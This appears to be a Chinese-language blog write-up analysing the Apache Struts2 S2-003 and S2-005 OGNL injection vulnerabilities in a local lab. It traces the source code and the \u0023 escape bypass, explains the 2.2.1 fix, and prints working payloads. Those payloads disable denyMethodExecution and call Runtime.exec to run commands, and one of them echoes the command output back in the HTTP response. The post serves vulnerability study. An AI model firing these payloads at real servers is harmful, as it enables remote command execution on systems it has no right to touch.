前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


S2-003

环境搭建

参考前面的文章,没有什么代码上的改变,只要更换一下 tomcat 和 struts2 的版本就好。

我这里使用的是 2.0.11.1 版本的 struts2,然后因为漏洞利用使用到了特殊字符,需要弄一个 tomcat6,我这里下载的是 6.0.10 版本的 tomcat,开箱即用,非常方便。

漏洞分析

官方通告中,漏洞在于 ParametersInterceptor 里面对 # 的安全保护被绕过了,从而可以操作服务端的上下文对象。

看一下 ParametersInterceptor 类的源码,可以看出这个类主要是对参数的一些处理,我这里给 setParameters 方法下一个断点,然后访问 http://localhost:8080/login.action?name=Twings 观察调用:

Map.Entry entry = (Map.Entry) iterator.next();
String name = entry.getKey().toString();

boolean acceptableName = acceptableName(name)
&& (parameterNameAware == null
|| parameterNameAware.acceptableParameterName(name));

if (acceptableName) {
    Object value = entry.getValue();
    try {
        stack.setValue(name, value);
    } 
    ...
}

可以看到参数名在经过 acceptableName 处理后会进入 stack.setValue 方法,我们跟进去看看:

public void setValue(String expr, Object value) {
    setValue(expr, value, devMode);
}

很明显,这里会把参数名当作一个表达式来执行,我们回想一下 OGNL 表达式达成命令执行的方法,需要用 # 来获取非根对象,而在 acceptableName 方法中:

protected boolean acceptableName(String name) {
    if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
            || name.indexOf(':') != -1 || isExcluded(name)) {
        return false;
    } else {
        return true;
    }
}

已经把 # 给 ban 掉了,所以无法直接利用。我们看看官方公布的 payload:

('\u0023' + 'session\'user\'')(unused)=0wn3d

很明显它后面会将 \u0023 解码为 #,我们将参数名换成 \u0023 继续调试,最后来到 JavaCharStream 类的 readChar 方法:

if ((buffer[bufpos] = c = ReadByte()) == '\\')
{
    UpdateLineColumn(c);

    int backSlashCnt = 1;

    for (;;) // Read all the backslashes
    {
        if (++bufpos == available)
        AdjustBuffSize();

        try
        {
            if ((buffer[bufpos] = c = ReadByte()) != '\\')
            {
                UpdateLineColumn(c);
                // found a non-backslash char.
                if ((c == 'u') && ((backSlashCnt & 1) == 1))
                {
                    if (--bufpos < 0)
                        bufpos = bufsize - 1;

                    break;
                }

                backup(backSlashCnt);
                return '\\';
            }
        }
        ...

        UpdateLineColumn(c);
        backSlashCnt++;
    }

    // Here, we have seen an odd number of backslash's followed by a 'u'
    try
    {
        while ((c = ReadByte()) == 'u')
            ++column;

        buffer[bufpos] = c = (char)(hexval(c) << 12 |
                                hexval(ReadByte()) << 8 |
                                hexval(ReadByte()) << 4 |
                                hexval(ReadByte()));

        column += 4;
    }
    ...
}

在读到 \u 的情况下,会继续读入 4 个字符,并将它们转换为 char,也就是把 \u0023 变成了 #,也就绕过了前面的保护,从而可以使用 # 获取到需要的对象。

漏洞利用

接下来就可以构造 payload 实现命令执行了,可以看看这个 OGNL 的官方文档,我这里就不研究 OGNL 表达式的语法了(它的语法分析好像叫 javacc 来着,看起来真让人头大),或者可以看看这篇文章,我这里直接借用几个 payload:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

他这个字符串然后两个括号的执行方式着实奇怪。

至于为什么需要先将 xwork.MethodAccessor.denyMethodExecution 赋值为 false,那是因为在处理调用方法的 callMethod 方法中,有这么一个验证:

Boolean exec = (Boolean) context.get(DENY_METHOD_EXECUTION);
boolean e = ((exec == null) ? false : exec.booleanValue());

if (!e) {
    return super.callMethod(context, object, string, objects);
} else {
    return null;
}

处理调用静态方法的 callStaticMethod 方法也有这个验证:

public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException {
    Boolean exec = (Boolean) context.get(DENY_METHOD_EXECUTION);
    boolean e = ((exec == null) ? false : exec.booleanValue());

    if (!e) {
        return super.callStaticMethod(context, aClass, string, objects);
    } else {
        return null;
    }
}

如果 DENY_METHOD_EXECUTION 为 true,这里就不会调用方法。

漏洞修复

按照 S2-005 的说法,S2-005 是 S2-003 的绕过,在 2.2.1 版本之前已经有一次修复(听说是 2.0.12 版本),是通过添加新的类似 DENY_METHOD_EXECUTION 的配置参数来拦截方法调用实现的,而这种修复可以像上面一样通过修改轻易地绕过:

login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)

而在 2.2.1 版本进行了修复,改变了 acceptableName 里面的白名单限制:

protected boolean isAccepted(String paramName) {
    if (!this.acceptParams.isEmpty()) {
        for (Pattern pattern : acceptParams) {
            Matcher matcher = pattern.matcher(paramName);
            if (matcher.matches()) {
                return true;
            }
        }
        return false;
    } else
        return acceptedPattern.matcher(paramName).matches();
}

而 acceptedPattern 是这样的一个正则:

[a-zA-Z0-9\.\]\[\(\)_'\s]+

可以看到 \ 也被拦截了,所以这种利用方式也走不通了。

S2-005

漏洞分析

就是上面提到的,在 S2-003 基础上增加新的安全配置后的绕过。

漏洞利用

见上方。

漏洞修复

见 2.2.1 版本修复。


参考文章:

https://xz.aliyun.com/t/2323

https://xz.aliyun.com/t/7966


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-004/ClassLoader
struts2系列漏洞 S2-002